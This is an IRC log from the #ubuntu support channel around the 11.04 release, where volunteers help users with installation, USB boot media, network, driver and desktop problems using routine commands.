[05:30] <Herbs> byerley I dont see why not
[05:30] <histo> killer_: pidgin I believe if not it's empathy
[05:30] <orbiting> it's empathy
[05:30] <orbiting> since 9.10
[05:30] <nabi> Herbs: unable to locate package automount
[05:31] <killer_> histo/orbiting: roger. I'll look into that.
[05:31] <Herbs> nabi sorry autofs :)
[05:32] <Souperman> crohakon, how are you reading the cd on the netbook?
[05:32] <nabi> Herbs: I thinks problem in dep... ,get me failed to fetch http://archive...
[05:32] <crohakon> Souperman, a portable external cd drive
[05:32] <nabi> *dep = repo...
[05:32] <Snakkah> I decided to switch back to 10.04 as I'm not too pleased with the new Unity interface and for stability reasons, but I was wondering if there would be any harm in upgrading to the latest 2.6.38 kernel on my 10.04 install. What do you all think?
[05:33] <Souperman> there might be your problem, try to make a booteable pendrive
[05:33] <Herbs> nabi what repos you have enabled?
[05:34] <nsur> disini
[05:34] <crohakon> Souperman, I tried that as well. The portable CD drive is not the issue. I was able to use other versions (newer) just fine, but the netbook has only 1 gb and the software she uses is for XP (though, sure it would work in newer versions)
[05:34] <marenostrum> Snakkah, Why don't you plainly use "Ubuntu Classic" interface instead of downgrading?
[05:34] <killer_> how do i view the equivalent of Windows 'Task Manager'?
[05:34] <Herbs> killer top
[05:35] <killer_> herbs: i thought top was only the top 10 processes
[05:35] <Souperman> crohakon, then i guess you already knew this http://wintoflash.com/home/en/
[05:35] <Herbs> killer nvm if you want like task manger system > resource monitor
[05:35] <Herbs> killer no way more powerfull than that
[05:35] <nabi> Herbs: I don't know :D
[05:36] <taglass> killer_:  gnome-system-monitor
[05:36] <Souperman> then i recomend you download some other torrent on the internets and try burning it, remember not  to burn the iso into the cd but to burn the image itself
[05:37] <crohakon> Souperman, no, I did not. It is a zip file, is this a windows program?
[05:37] <Herbs> nabi check in /etc/apt/sources.list or go to system > software sources
[05:37] <inimeg> hi im drunk
[05:37] <Herbs> me too
[05:37] <inimeg> i love my ubuntu though
[05:37] <Snakkah> marenostrum, I did that at first, but even there I noticed some annoying Compiz bugs even in the "Classic" interface in the new release. Along with that, multiple burns of the Live CD would not boot into the live environment at all. As far as I'm concerned, Canonical still needs to work out some bugs before I consider 11.04 again.
[05:38] <inimeg> its not cool with me what they did removing gnome
[05:38] <inimeg> ill survive
[05:38] <inimeg> but its not cool
[05:38] <Souperman> im pretty sure it is crohakon
[05:38] <nabi> Herbs: oh I find it:  mount -t smbfs -o username=<name>,password=<passwd> //sambashare /mountpoint
[05:38] <Axlin> gnome's still there. it's in the sessions list in the login screen inimeg
[05:38] <Herbs> inimeg gnome has not been removed
[05:38] <taglass> inimeg: They didn't have much of a choice.  Gnome2 is dead.
[05:38] <nabi> Herbs: it's works fine :D
[05:38] <marenostrum> Snakkah, I see; I don't know the answer of your original question.
[05:38] <Herbs> nabi cool
[05:39] <inimeg> i havent upgraded yet
[05:39] <jack123> hello all
[05:39] <inimeg> cause of slow internets
[05:39] <jack123> my internet is not working with latest ubuntu
[05:39] <jack123> nforce 630 a
[05:39] <jack123> please help
[05:39] <inimeg> i know its cause xp is dieing
[05:40] <Snakkah> inimeg, like I just said, I wasn't too pleased with Natty. I actually downgraded to 10.04 since it's supported until 2013. Hopefully Unity will mature by then. :D
[05:41] <jack123> any 1 there.?
[05:41] <marenostrum> jack123, I had a problem with internet connection at the beginning as well. I deactivate the connection and activated it again. It connected. Then after, everything is normal. I didn't have to do that all the time I boot. maybe this helps.
[05:41] <inimeg> i agree unity is not high on my list of W.M.
[05:42] <jack123> i have done it many times but its not working
[05:42] <jack123> may be i need drivers.. my connection is working fine in mandriva
[05:42] <Herbs> time for xfce with these new flashy desktops
[05:42] <Snakkah> inimeg, they do allow you to have the old interface though.
[05:42] <SirFunk_> hey, so i just snagged this fancy Acer laptop (Dual core intel) from work... trying the ubuntu boot cd on it.. it doesn't recognize the HDD though :( how can i install?
[05:42] <Snakkah> You might consider that. I did and it didn't work for me but oh well lol
[05:43] <Herbs> sirfunk is the hdd encypted?
[05:43] <jack123> sirfunk there is a acer protection for hdd in bios disable that
[05:43] <marenostrum> jack123, Didyou have any connection problem with the previous release if you were using it? Maverick, I mean.
[05:43] <inimeg> snakkah im a x chat noob how do you get that cool lil ping in my box?
[05:43] <SirFunk_> herbs: don't think so, had windows 7 on it before
[05:44] <Nameless> hi there
[05:44] <SirFunk_> jack123: i don't seen an option for that
[05:44] <jack123> previously i used mandrivaa.. i have switched to ubuntu
[05:44] <Souperman> crohakon, http://www.webupd8.org/2009/04/4-ways-to-create-bootable-live-usb.html
[05:44] <Snakkah> inimeg, I just do that by typing your name.
[05:44] <Nameless> How can i set up a booting system on EFI machines?
[05:44] <nabi> How can I use rsync, wirh keep creation date of directory when I moved ?
[05:44] <Snakkah> lol
[05:44] <inimeg> ty ty
[05:44] <Snakkah> The same thing happened when you typed mine.
[05:44] <jack123> sirfunk there is a option for it i dont actually remember the exact name
[05:44] <Herbs> nabi man rsync :)
[05:44] <inimeg> Snakkah just like this?
[05:44] <Snakkah> inimeg, yes.
[05:45] <chaospsyX> finally I got my wireless usb adapter working in 10.10!
[05:45] <inimeg>  Snakkah ty
[05:45] <Snakkah> Mmhmm.
[05:45] <Snakkah> inimeg, I sent you a message.
[05:46] <jack123> marenostrum are you there.?
[05:46] <Jordan_U> Nameless: Do you have hardware that only supports EFI?
[05:46] <Nameless> MacBook pro
[05:46] <Zeeofu> does anyone know how to boot aternate ubuntu install from usb
[05:46] <Strav> He. I just assembled a small htpc using an asus e35 pro mother board, one with those new amd apu. Now I'm trying to get it to decently play an mp4 video at 1080p and it just choke on it. Now I tried different players (vlc, smplayer), tried different video outputs, tried adjusting my video shared memory, no success... any suggestion on that matter?
[05:46] <Jordan_U> Nameless: That has a BIOS implementation and you'll save yourself headache by using it.
[05:46] <marenostrum> jack123, I'm almost sure that its something related with some settings (or a need of installing a driver, at worst) but I can not say anything in concrete. Lets Google ubuntu+<your network card>
[05:47] <marenostrum> jack123, Yes, I'm here.
[05:47] <Strav> (btw, the system has 2gb of ram)
[05:47] <Zeeofu> does anyone know how to boot aternate ubuntu install from usb
[05:47] <Nameless> i have a MacBook Pro 3.1 (late 2007)
[05:47] <Nameless> same thing?
[05:47] <Herbs> strav your gfx?
[05:47] <jack123> zeeeofu  http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/
[05:48] <Strav> Herbs: you mean what is my video card?
[05:48] <Zeeofu> jack123: Thanks
[05:48] <Herbs> yes
[05:48] <Jordan_U> Nameless: Yes.
[05:48] <Nameless> Jordan_U: at the moment i'm installing the system by saving a 200mb FAT partition as /dev/sda1
[05:49] <Nameless> what do you suggest to do?
[05:49] <komatose> 11.04, my clock has disappeared, and System Settings won't open. Any ideas?
[05:49] <jack123> please some 1 help me my interenet is really not working in ubuntu
[05:49] <ae0000> there used to be a way of using a operating system installed on your machine (windows) as a virtual machine inside of ubuntu... can anyone point me to how or what tech is used to do this?
[05:50] <Strav> Herbs: those amd apu are an integrated solution between gpu and cpu, it's an AMD E-350 APU code name zacate.
[05:50] <ae0000> i remember doing it years ago... just cant remember how
[05:50] <jack123> ae0000 is it vmware.?
[05:50] <marenostrum> jack123, nforce 630 a seems to be your motherboard. What is your network card?
[05:50] <Jordan_U> Nameless: Use this iso: http://cdimage.ubuntu.com/releases/11.04/release/ubuntu-11.04-desktop-amd64+mac.iso burn it to a CD, boot from the CD, use automatic partitioning in the installer.
[05:50] <Herbs> starv hmm dont really have any experience other than nvidia
[05:50] <Strav> Herbs: and btw, I'm using the proprietary amd drivers for this.
[05:50] <Dark_Link> do the intell legacy work with 11.0.4?
[05:50] <atlef> ae0000, virtualbox?
[05:50] <jack123> network card is onboard  nforce networking controller
[05:51] <ae0000> jack123, not sure will take a look... i really cat remember :)
[05:51] <ae0000> atlef, maybe.. i'll have a look
[05:51] <ae0000> found it .. .vmware converter :)
[05:52] <jack123> so i was right :)
[05:52] <Dark_Link> and how would i enable them as i cant stand not being able to play a youtube video without super choppy playback
[05:52] <Herbs> ae0000 virtualbox-ose
[05:52] <Nameless> Jordan_U: to be honest with you i'm installing debian, but i thoight the way for get the system booting is the same as ubuntu
[05:52] <Jordan_U> Nameless: And please do just use automatic partitioning rather than trying to setup partitions manually. It will set up everything correctly.
[05:52] <Nameless> :\
[05:52] <Nameless> *tought
[05:52] <Herbs> nameless ubuntu is based on debian but debian is debian
[05:53] <Nameless> Herbs: i know
[05:53] <wjlafrance> Is there a way to install Ubuntu Server on a headless box?
[05:53] <inimeg> love me some .deb
[05:53] <jack123> i am new to linux which distro will you guys recommend me.?
[05:53] <inimeg> srry ive been drinking
[05:53] <inimeg> ubuntu jackl123
[05:53] <Jordan_U> Nameless: Debian has an IRC channel, #debian, and I answered you in #grub when you asked. Please don't try to get Debian support in #ubuntu.
[05:53] <chaospsyX> jack123: Ubuntu
[05:54] <jack123> ubuntu is creating problems blah
[05:54] <ae0000> Herbs, hmmm have you done it before with virtualbox? cant find any docs for it
[05:54] <chaospsyX> jack123: try fedora
[05:54] <ae0000> Herbs, i take that back :)
[05:54] <jack123> whats the difference between fedora n ubuntu
[05:54] <wjlafrance> jack123: if you can't get ubuntu to work, try gentoo
[05:54] <Dark_Link> i love how i had to use ubuntu 10.10 just to partition my nfs hardrive to make space for 11.0.4
[05:54] <Nameless> you answered me in #grub? sorry, maybe i didn't read
[05:54] <Herbs> jack123 the majority are easy to install these days and easy to use so it doesent really matter check distro watch have a read see which one you fancy really, the only ones not for noobs is slackware and maybe arch
[05:54] <Jordan_U> !ot | inimeg
[05:54] <ubottu> inimeg: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[05:54] <taglass> jack123: Well If Mandriva was working w/ your hardware, that's a pretty good choice.  openSUSE is also a good choice if you don't wanna use Ubuntu
[05:54] <marenostrum> jack123, Was your internet connection active during installation? Does ubuntu Natty make connection while using the live CD? ıf answers are no and yes; maybe its best to reinstall with a working internet connection.
[05:55] <chaospsyX> jack123: mandriva,debian,fedora all are decent
[05:55] <chronicle_> Hey quick question anyone know any free server blacklists for like porn sites?
[05:55] <babbio> Hi guys I've a problem connecting with svn+ssh, I can connect with ssh to my server but when I use svn+ssh I get the error message "ssh could not resolve hostname name or service not known" what can I do? thank you
[05:55] <Strav> Herbs: just found some specs saying that the graphics controller is AMD Radeon HD 6310... if that's of any matter.
[05:55] <chaospsyX> jack123: mandriva is probably the most noob friendly other than ubuntu
[05:55] <Herbs> jack123 the main diffs fedora is blleding edge they update packages without considering stability (as its red hats test platform) they use rpm instead of deb
[05:55] <hateball> !ot
[05:55] <ubottu> #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[05:56] <YellowGTO> Anyone know of Software noise cancellation for linux?
[05:56] <Jordan_U> YellowGTO: Real time?
[05:56] <jack123> marenostrum i read that it has to do with kernel thing .. there were 4 kernel version displayed to me at the time of install and i had to choose one
[05:56] <YellowGTO> Yeah Jordan_U
[05:56] <chaospsyX> Jack123: download 'virtual box' and check them all out
[05:56] <YellowGTO> I have it for windows works well
[05:56] <Jordan_U> YellowGTO: Then no I don't personally, but it probably exists.
[05:56] <YellowGTO> I've been searching google
[05:57] <YellowGTO> Can't seem to find it
[05:57] <Jordan_U> YellowGTO: If you don't get an answer here try in #ubuntustudio.
[05:57] <chaospsyX> Jack123: http://www.virtualbox.org/wiki/Downloads
[05:57] <marenostrum> jack123, Was it an alternate ISO?
[05:57] <Herbs> strav its an ati card then
[05:57] <chaospsyX> can't believe that program is free
[05:58] <geekorama> hi guys
[05:58] <chaospsyX> hi geekorama
[05:58] <geekorama> how do i manage my bookmarks on ubuntu one account please?
[05:58] <RavenhursT> Alright.. trying to install Ubuntu 11.04 from USB...  I get past my system BIOS and them I stuck w/ "SYSLINUX 3.82 2009-06-09 EBIOS Copyright (C) 1994-2009 H. Peter Anvin et al"
[05:59] <geekorama> i enabled sharing bookmarks, but i dont see them on server, just see files/notes/Contacts
[05:59] <jack123> i have mandriva  and ubuntu as alternate iso
[05:59] <taglass> RavenhursT: How did you create the USB?
[05:59] <chaospsyX> Ravenhurst: what program did you use to make the USB?
[05:59] <RavenhursT> Then I tried removing "ui" from the /syslinux/syslinux.cfg file.. and now I get that same result + "Unkown keyword in configuration file: gfxboot"
[05:59] <chaospsyX> jack123: you can check both of them out in VB
[05:59] <marenostrum> jack123, What happens if you tyr to start from a live CD (not alternate)? Isn't your machine capable of doing that?
[05:59] <RavenhursT> taglass: chaospsyX :  the usb creator tool that's on the UBuntu image..
[05:59] <jack123> ravenhurst  http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/
[05:59] <Herbs> jack123 if you have got used to mandriva then fedora might be your best bet as like mandriva is based on red hat
[06:00] <marenostrum> jack123, Is there a RAM problem?
[06:00] <RavenhursT> jack123... thnx.. I'll giat
[06:00] <jack123> yeah my machince is capable of running live cd
[06:00] <jack123> no there is no ram problem
[06:00] <taglass> Herbs: That may have been true at one point, but that's like saying Suse is still based upon slackware.
[06:00] <Souperman> chronicle_, http://www.webupd8.org/2009/04/4-ways-to-create-bootable-live-usb.html
[06:00] <chaospsyX> RavenhursT: watch for any errors when you pendrivelinux....might have a broken image,have to redownload it
[06:00] <Souperman> wait no
[06:00] <marenostrum> jack123, So what happens when you run live CD? No internet connection?
[06:01] <Souperman> chronicle_, http://en.wikipedia.org/wiki/DansGuardian
[06:01] <Jordan_U> RavenhursT: You used the USB creator that comes on the same image that you wrote to the USB drive?
[06:01] <Herbs> taglass I havent used or kept up eith mandriva since it was mandrake
[06:01] <Dark_Link> :/ i have a gma 945 and the performance is horrible how can i switch to the old drivers that run a bit better?
[06:01] <RavenhursT> Jordan_U: yes
[06:01] <jack123> i havent run ubuntu as a live cd  yet
[06:01] <jack123> shall i try i t.?
[06:01] <chronicle_> Thats great thanks Souperman
[06:01] <chaospsyX> give a go
[06:02] <chaospsyX> which version of ubuntu jack123?
[06:02] <Jordan_U> RavenhursT: That's really odd because that error is normally from an incompatibility between syslinux versions.
[06:02] <jack123> latest 11.04
[06:02] <jack123> downloaded yesterday
[06:02] <chaospsyX> cool
[06:02] <RavenhursT> Jordan_U: yeah.. I dunno... just wanna get it installed..
[06:02] <RavenhursT> lol
[06:02] <Herbs> jack123 if you want to try ubuntu I suggest 10.04
[06:02] <jack123> if i run live cd which things shall i note marenostrum
[06:02] <chaospsyX> jack123: you got a decent video card?
[06:02] <jack123> yes 8800gt
[06:03] <marenostrum> jack123, ıf you aask me, try. If you have a connection, install right then. By the way, I can not get why Ubuntu offers you 4 kernel at the installation. I have never experienced such a thing.
[06:03] <chaospsyX> me neither
[06:03] <Jordan_U> RavenhursT: And 11.04 comes with syslinux 4.02, not 3.82 as in your error message?
[06:03] <Dark_Link> it shouldent
[06:03] <Jordan_U> RavenhursT: That wasn't meant to have a question mark at the end :)
[06:03] <RavenhursT> Jordan_U: That's the message I got...  it just hung there..
[06:03] <jack123> yeah it offered me 4 kernels to chooose from  both were different versions
[06:03] <jack123> all the 4 *
[06:04] <RavenhursT> Jordan_U: I have no idea why it said that...
[06:04] <chaospsyX> jack123: the grub menu ?
[06:04] <Jordan_U> RavenhursT: Did you make the USB from Windows or from within Ubuntu booted from a burned CD?
[06:04] <jack123> no the installiton menu
[06:04] <marenostrum> jack123, Note kernel. Note driver for the card(s) and try to note the settings for connection, if any.
[06:04] <chaospsyX> jack123: where did you download the ISO and what distro?
[06:04] <jack123> download from ubuntu homepage
[06:04] <chaospsyX> jack123: alternate?
[06:04] <jack123> distro is ubuntu
[06:05] <marenostrum> jack123, I googled some and I'm almost sure that it should work.
[06:05] <jack123> what is altername.?
[06:05] <jack123> altetnate*
[06:05] <chaospsyX> whats the filename of your ISO image
[06:05] <RavenhursT> Jordan_U: I dl'd the .iso from the ubuntu.com torrent link.. then I mounted the image using... uh.. clonedvd or something like that.. then I copied the usb creation tool to my HD.. ran it.. then I rebooted w/ the usb drive and that's what I got..
[06:05] <jack123> you mean it will work after reinstallation..?
[06:05] <jack123> ubuntu-11.04-desktop-amd64
[06:06] <amitush> hello
[06:06] <atlef> RavenhursT, get unetbootin and use that to make your usb http://unetbootin.sourceforge.net/
[06:06] <jack123> raven hurst follow this link n download the software .. it will create a bootable usb ubuntu-11.04-desktop-amd64
[06:06] <taglass> amitush: Hello
[06:06] <amitush> need help with installing edimax wireless pci card
[06:06] <jack123> ubuntu-11.04-desktop-amd64
[06:06] <amitush> is it possible ?
[06:07] <amitush> through command?
[06:07] <chaospsyX> jack123: you got a 64-bit cpu ?
[06:07] <jack123> yes
[06:07] <jack123> amd x2 4400+
[06:07] <marenostrum> jack123, Alternate: There's an instalation image which is mainly for old machines with not sufficient RAM and you do some things manually with it. I don't advice it. If your machine is OK for a atandars ISO go with it. And try to let Ubuntu to recognize and do the standard installation.
[06:07] <RavenhursT> atlef:  ok...
[06:07] <jack123> ok
[06:07] <chaospsyX> jack123: remake the usb with pendrive linux
[06:08] <marenostrum> jack123, * atandars= standard
[06:08] <taglass> amitush: I've never tried it, but there are some results on google for that card and ubuntu
[06:08] <Dark_Link> chalcedony, do you know how to install the old intell drivers?
[06:08] <jack123> ok i will explain how my internet works
[06:08] <jack123> i have a wimax connection
[06:08] <chaospsyX> wimax?
[06:09] <jack123> yeah
[06:09] <komatose> inSSIDer doesn't seem to work in 11.04. I click it and nothing happens. Anyone have any ideas? Anything better to use?
[06:09] <Dark_Link> its like 4g internet
[06:09] <chaospsyX> what is that?
[06:09] <jack123> yeah its like 4g interent
[06:09] <genewitch> like the opposite of LTE 4g
[06:09] <genewitch> there's LTE and wimax
[06:09] <Herbs> jack123 can your network adapters handle 4 gig?
[06:09] <RavenhursT> arg... so many different ways to skin a freakin' Narwahl..
[06:09] <genewitch> clearwire uses wimax, etc
[06:10] <Dark_Link> 4g networks are like med dsl
[06:10] <Dark_Link> lol
[06:10] <jack123> when i open firefox  the default login page opens .. where is have to enter user name and password.. but the problem is its not opening
[06:10] <jack123> i guess its not automatically detecting ip
[06:10] <wjlafrance> I hate companies who brand their stuff 4G. I'm surprised the FCC lets them get away with it. It's all 3.8 or 3.9G.
[06:10] <Herbs> yeah nvm lo to much to drink before engaging brain
[06:10] <jack123> but i am not the same connection right now using in windows
[06:10] <blackshirt> how to check if  we have sucessfully upgraded ubuntu system ??
[06:10] <komatose> so-called 8ft and 9ft ceilings are like 7.91 ft and 8.91 ft high.
[06:11] <marenostrum> jack123, ıf connection works with live CD and you install but not have a connection after the initiall reboot, plainly deactivate and reactivate the connection from the GUI (from right top)
[06:11] <chaospsyX> jack123: are you using wimax right now in windows?
[06:11] <histo> blackshirt: apt-get update && apt-get dist-upgrade
[06:11] <histo> blackshirt: add sudo in there ofcourse: sudo apt-get update && sudo apt-get dist-upgrade
[06:11] <pie_> are there no tutorials for general unity usage?(ubuntu 11/04 gui)
[06:11] <jack123> i have done deactivating and activating it from top right but still not working
[06:11] <taglass> !msg | amitush
[06:11] <ubottu> amitush: Please ask your questions in the channel so that other people can help you, benefit from your questions and answers, and ensure that you're not getting bad advice. Please note that some people find it rude to be sent a PM without being asked for permission to do so first.
[06:11] <histo> pie_: on the homepage
[06:11] <jack123> yeah i am using it right now in windows
[06:12] <Cporter> Well that didnt work. I just won't install Ubuntu right now. I redid the install with wubi for 10.10 and had the same problem.
[06:12] <marenostrum> jack123, I understand it. I say for the next installation.
[06:12] <pie_> histo, unity homepage or ubuntu?
[06:12] <chaospsyX> jack123: do you know to log-into the wimax box ? access the shell ?
[06:12] <histo> pie_: ubuntu homepage
[06:12] <chaospsyX> *how to log-in
[06:12] <Dark_Link> ok so who can help me with installing older drivers?
[06:12] <jack123> yes i know
[06:12] <histo> pie_: they just added a new features thing or something
[06:12] <atlef> pie_, http://omgubuntu.co.uk/natty/
[06:12] <jack123> you mean the root page . 192.168.1.1
[06:12] <chaospsyX> in ubuntu does it connect to it?
[06:12] <chaospsyX> yeah
[06:13] <jack123> oh i havent checked it
[06:13] <jack123> in ubuntu
[06:13] <blackshirt> histo: i know, i mean how to see our new system version
[06:13] <jack123> shall i check it and be back.?
[06:13] <chaospsyX> you know on the panel on the top,can you connect to the wimax signal
[06:13] <chaospsyX> does it even show wireless connections?
[06:13] <histo> blackshirt: cat /etc/issue
[06:13] <chaospsyX> *wireless networks i mean
[06:14] <killer_> how do i find additional panel applets for 'The gnome panel 2.30.2'? i want a CPU tracking one where it shows the CPU usage graph.  I have it on Crunchbang with XFCE
[06:14] <jack123> no wireless networks for me
[06:14] <chaospsyX> the icon that looks like a signal
[06:14] <histo> Ubuntu 10.10 \n \l
[06:14] <histo> blackshirt: ^^^^
[06:14] <jack123> yeah it shows
[06:14] <pie_> thanky you!
[06:14] <jack123> thats icon
[06:14] <Cporter> how do you fix "No root file system defined" After a install using Wubi?
[06:14] <jack123> yeah it shows that icon
[06:14] <KM0201> jack123: whats your wireless device?
[06:14] <chaospsyX> does it list a wireless network when you click that icon?
[06:14] <blackshirt> histo: thanks
[06:14] <pie_> ok cmon innovative new concept? mac has been using dash forever :P
[06:14] <jack123> yeah it lists but its blank
[06:14] <jack123> because i dont have wireless
[06:15] <jack123> and on wired it list something e0401 or something like that
[06:15] <chaospsyX> you have a ethernet cable going to your comp?
[06:15] <histo> killer_: gnome has an applet called system monitor or something
[06:15] <jack123> yes
[06:15] <chaospsyX> oh
[06:15] <marenostrum> jack123, and other friends: Jack says that Ubuntu is offering him 4 kernels to choose one during installation. What kind of an installation is that?
[06:15] <histo> killer_: there are many others xfce has one as well
[06:15] <chaospsyX> you have DHCP turned on?
[06:15] <chaospsyX> on the wimax box ?
[06:15] <histo> killer_: right click in xfce and select add to panel then start typing in cpu
[06:15] <jack123> yeah
[06:15] <jack123> dhcp
[06:16] <KM0201> jack123: what is your wireless device.. thats the first step in figuring out why you're wireless doesn't work
[06:16] <chaospsyX> he doesnt have wireless
[06:16] <chaospsyX> he has a 4g wimax box
[06:16] <jack123> yyeah right
[06:16] <KM0201> ohhhhhh.. ok
[06:16] <KM0201> my bad
[06:16] <KM0201> i was confused
[06:16] <chaospsyX> but the box is receiving a wireless signal ?
[06:16] <chaospsyX> and sending that to your comp over ethernet?
[06:17] <jack123> yeah absolutely right
[06:17] <killer_> Hista: I'm in Ubuntu 10.04 LTS right now and it uses the Gnome Panel 2.30.  I have added to panel but the only CPU item I find is to change the CPU freqency.
[06:17] <chaospsyX> go into 192.168.1.1 and hit the print screen button
[06:17] <chaospsyX> and show me
[06:17] <chaospsyX> no wait
[06:17] <jack123> ok
[06:17] <chaospsyX> do this
[06:17] <killer_> hista: system monitor ended up being what i wanted.  TY
[06:18] <jack123> ok tell me
[06:18] <chaospsyX> boot into the live cd and 'try ubuntu'
[06:18] <jack123> ok then
[06:18] <chaospsyX> on the top panel click system > administration > network tools
[06:18] <jack123> ok then
[06:19] <chaospsyX> theres a pull-down menu on 'network devices '
[06:19] <jack123> ok then
[06:19] <marenostrum> jack123, from what media did you install? I'm still curious about that 4 kernel choice.
[06:19] <Dark_Link> hey can some one tell me how to go to xserver-xorg-video-intel-2.4 o n 11.0.4?
[06:19] <jack123> from usb
[06:19] <Dark_Link> get
[06:19] <mkquist> anyone know how to reconfigure display resolution?  Just had to change to onboard nvidia card as old nvidia add on failed... ubuntu 10.04 at grub screen its fine, but once it loads it only goes to 800x600
[06:19] <chaospsyX> select (eth0) and see if it has been assigned an IP. It (eth0) should be on the list too.
[06:20] <jack123> shall i show you the screen shots ..?
[06:20] <chaospsyX> try this first
[06:20] <hateball> mkquist: use nvidia-settings
[06:20] <Herbs> jack123 try the kernel ending -29
[06:20] <jack123> ook
[06:20] <jack123> will be right back
[06:20] <chaospsyX> k
[06:20] <marenostrum> jack123, no need. try to let ubuntu decide almost all. Except your user name etc.
[06:20] <pie__> ok now i have render artifacts :/
[06:20] <jack123> taking screen shots on ubuntu n windows are smiliar.?
[06:20] <chaospsyX> yup
[06:20] <mkquist> hateball: kinda of obvious... should try that.. ty
[06:20] <jack123> cool
[06:21] <Herbs> jack123 use the one ending -29 theres been 2 relesed since
[06:21] <jack123> paint is similar to .?
[06:21] <MonkeyDust> guys, about ubuntu cloud, how can i delete files without deleting them from my hard disk?
[06:21] <hateball> mkquist: you need to "gksudo nvidia-settings" for some settings to stick tho... I cant recall exactly which
[06:21] <marenostrum> jack123, Don't try to choose kernel type or something. Let the live CD decide.
[06:21] <mkquist> hateball: k
[06:21] <jack123> ok
[06:22] <chaospsyX> jack123: the ip should not be 0.0.0.0 either
[06:22] <chaospsyX> it should be 192.168.1.xxx
[06:23] <Herbs> jack123 if you want to troubleshoot properly use the older kernel and work from there
[06:24] <chaospsyX> jack123: also do 'lspci' and see if your NIC is on there
[06:24] <chaospsyX> if its on there then it's loaded right? working properly? correct driver? Herbs?
[06:25] <chaospsyX> it will be listed by 'ethernet controller'
[06:25] <Dark_Link> whats the apt source so i can downgrade video drivers
[06:25] <Herbs> chaospsyX it should be
[06:25] <Dark_Link> for 11.0.4
[06:25] <marenostrum> chaospsyX, ısn't it better if jack123 try live CD and if works let the CD make the installation in what way it sees OK?
[06:25] <chaospsyX> yeah
[06:26] <chaospsyX> he did that already and said internet wasn't working though right ? jack123?
[06:26] <marenostrum> yes.
[06:26] <Herbs> marenostrum no why let anything decide especially when you are trying to fix an issue!
[06:26] <chaospsyX> jack123: Have you booted into the live cd and done 'try ubuntu' ?
[06:27] <marenostrum> Herbs, Can you figure out the problem?
[06:27] <Herbs> not yet
[06:27] <taglass> chaospsyX: I believe he left to go boot the live cd.  I haven't noticed him log back in
[06:27] <multipass__> Hi, i cant get edge flipping to work properly in 11.04 Gnome... anyone have any solutions or ideas?
[06:27] <chaospsyX> why was he saying his internet wasn't working????
[06:28] <chaospsyX> and why would a live cd ask him to select a kernel image? he has left out some info
[06:28] <chaospsyX> grub does that after installation
[06:28] <pie_> what has ctrl-alt-backspace been replaced with?
[06:29] <administrator_> Hello
[06:29] <administrator_> Is anyone  here
[06:29] <ZykoticK9> pie_, alt+sysrq(usually printscreen)+k
[06:29] <chaospsyX> ahoy
[06:30] <administrator_> e
[06:30] <marenostrum> Herbs, Maybe you know: What's that 4 kernel options that Jack is saying? For may Debian and ubuntu installations up till now, I've never asked something like that.
[06:30] <chaospsyX> me neither
[06:30] <marenostrum> may=many
[06:30] <chaospsyX> i don't know what he was talking about.....
[06:30] <Herbs> marenostrum exactly thats why I think hes done something wrong
[06:30] <administrator_> 有懂汉语的吗？
[06:31] <taglass> !cn
[06:31] <ubottu> For Ubuntu help in Chinese 您可以访问中文频道：打字 /join #ubuntu-cn 或者 打字 /join #ubuntu-tw  或者 打字 /join #ubuntu-hk
[06:31] <marenostrum> Herbs, me too. Because of that I advice a syandard installation.
[06:31] <pie_> oh man this is disastrous lol
[06:31] <pie_> whered taskbarthings go xD
[06:31] <chaospsyX> he also mentioned something about the 'alternate' iso image way back too
[06:31] <traskers> I just installed Gnome Shell via ppa:gnome3-team/gnome3, but when I try to log in to the session, it tells me "Could not update ICEauthority (/home/users/.ICEauthority)" and kicks me out, can anyone help?
[06:32] <traskers> (Running 11.04)
[06:32] <pie_> what textfile do i reset to fix my screwed up gui? :/
[06:32] <chaospsyX> isn't that a text-based installation ?
[06:32] <chaospsyX> i'm not familiar with the alternate iso
[06:32] <ZykoticK9> pie_, /etc/X11/xorg.conf probably
[06:32] <taglass> pie_: Go to System Settings -> HArdware -> Keyboard -> Options -> Key sequence to kill the X server if you want the old ctrl - alt - bksp back
[06:32] <marenostrum> chaospsyX, First I mentioned alternate. Asked if you used that ISO. Then he asked what alternate is.
[06:33] <chaospsyX> oh lol
[06:33] <chaospsyX> nah i never used it
[06:33] <pie_> man im totally destroying this
[06:33] <karthick87> How to remove appearance from Preferences Menu?
[06:34] <marenostrum> chaospsyX, maybe it was better to ask him the name or md5sum of the ISO he downloaded.
[06:35] <taglass> He said the filename for natty 64 bit livecd
[06:35] <traskers> I just installed Gnome Shell via ppa:gnome3-team/gnome3 on a new installation of 11.04, but when I try to log in to the session, it tells me "Could not update ICEauthority (/home/users/.ICEauthority)" and kicks me out, can anyone help?
[06:35] <Herbs> marenostrum probablly but then again hes seeing 4 kernels from the install disk lol
[06:35] <chaospsyX> he probably doesn't even know what md5 is
[06:35] <soap> kk
[06:35] <pie_> theres a sh script called Xreset, or should i just delete the xorg.conf file?
[06:36] <pie_> acually no xorg.conf
[06:36] <chaospsyX> the version of syslinux he was seeing was not what his iso image should have contained either
[06:36] <chaospsyX> so......who knows
[06:36] <marenostrum> Herbs, :( I feel bad for him. I hope he'll solve the problem because I don't think that there's a real problem. (I mean, he should connect.)
[06:36] <Herbs> maybe hes downloaded a root kitted rogue install
[06:37] <marenostrum> Herbs, Is there such a chance?!
[06:37] <pie_> >.<
[06:37] <robrrt> ?? uhh?
[06:37] <Herbs> marenostrum technically there is but the likeliness I dont know but end users never seem to suprise me
[06:38] <marenostrum> Herbs, I see. :)
[06:38] <zabyl> kernel bug http://bit.ly/jpStCy  line:2921
[06:38] <soap> has anybody used this ? http://e4rat.sourceforge.net/   i'm not sure if this'll work for dual boot config
[06:38] <zabyl> kernel bug http://bit.ly/m2BtFD line:1401
[06:39] <pie_> not to be naggy but...i have exams coming up and i kind of need to figure this out :/ ive never messed with xorg and i actually cant make any new windows come p other than irc because that  starts p automatically
[06:39] <pie_> *up
[06:39] <multipass__> Hi, i cant get edge flipping to work properly in 11.04 Gnome... anyone have any solutions or ideas?
[06:40] <zabyl> run into btrfs bugs in 11.04 Server x64
[06:40] <pie_> im logged in in the shell you get when you press ctrl+alt+f1
[06:41] <Herbs> pie_ what happens when you type service gdm start
